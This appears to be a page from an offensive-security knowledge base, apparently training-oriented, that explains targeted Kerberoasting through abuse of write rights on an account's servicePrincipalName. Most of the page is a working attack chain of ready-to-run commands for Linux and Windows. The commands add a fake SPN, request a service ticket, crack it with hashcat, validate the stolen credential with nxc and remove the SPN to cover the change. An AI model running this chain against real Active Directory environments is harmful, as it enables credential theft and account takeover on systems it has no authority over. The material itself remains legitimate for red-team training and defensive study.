Operator On The Wire
← Back to Knowledge Base
OOTW / Chapter IV - Active Directory / 04. Techniques / Service Principals / Techniques

SPN Write

SPN write abuse means modifying the servicePrincipalName attribute on an account. The usual offensive use is targeted Kerberoasting: we add an SPN to a user we can modify, request a TGS, crack it offline, and remove the SPN.

Rights that matter

GenericAll
GenericWrite
WriteProperty over `servicePrincipalName`
Validated write to service principal name
WriteOwner followed by ACL modification
WriteDACL followed by SPN write delegation

Confirm write path with bloodyAD

bloodyAD --host 10.10.10.200 -d ootw.local -u student -p 'student' get object target.user --attr nTSecurityDescriptor

Automated targeted roast

python3 targetedKerberoast.py -vv -d ootw.local -u student -p 'student' --request-user target.user --dc-ip 10.10.10.200

Manual Linux flow

bloodyAD --host 10.10.10.200 -d ootw.local -u student -p 'student' set object target.user servicePrincipalName -v nonexistent/target
GetUserSPNs.py ootw.local/student:'student' -dc-ip 10.10.10.200 -request-user target.user -outputfile target.hash
bloodyAD --host 10.10.10.200 -d ootw.local -u student -p 'student' remove object target.user servicePrincipalName -v nonexistent/target

Manual Windows flow

Set-DomainObject -Identity target.user -Set @{serviceprincipalname='nonexistent/target'} -Verbose
Get-DomainSPNTicket -SPN 'nonexistent/target' -OutputFormat Hashcat
Set-DomainObject -Identity target.user -Clear serviceprincipalname -Verbose

Windows with explicit credentials

$SecPassword = ConvertTo-SecureString 'student' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('ootw.local\student', $SecPassword)
Set-DomainObject -Credential $Cred -Identity target.user -Set @{serviceprincipalname='nonexistent/target'} -Verbose
Get-DomainSPNTicket -Credential $Cred -SPN 'nonexistent/target' -OutputFormat Hashcat
Set-DomainObject -Credential $Cred -Identity target.user -Clear serviceprincipalname -Verbose

Crack

hashcat -m 13100 target.hash /usr/share/wordlists/rockyou.txt -r rules/best64.rule -O -w 3
hashcat -m 13100 target.hash /usr/share/wordlists/rockyou.txt --show

Validate recovered credential

nxc smb 10.10.10.200 -u target.user -p '<CRACKED_PASSWORD>' -d ootw.local
nxc ldap 10.10.10.200 -u target.user -p '<CRACKED_PASSWORD>' -d ootw.local

Cleanup verification

Get-ADUser target.user -Properties servicePrincipalName | Select-Object SamAccountName,ServicePrincipalName

Notes

  • The target does not need to already be a service account.
  • The SPN can be fake; it only needs to be unique and requestable.
  • The valuable artifact is the TGS hash, not the temporary directory change.
  • Always remove the SPN after the request.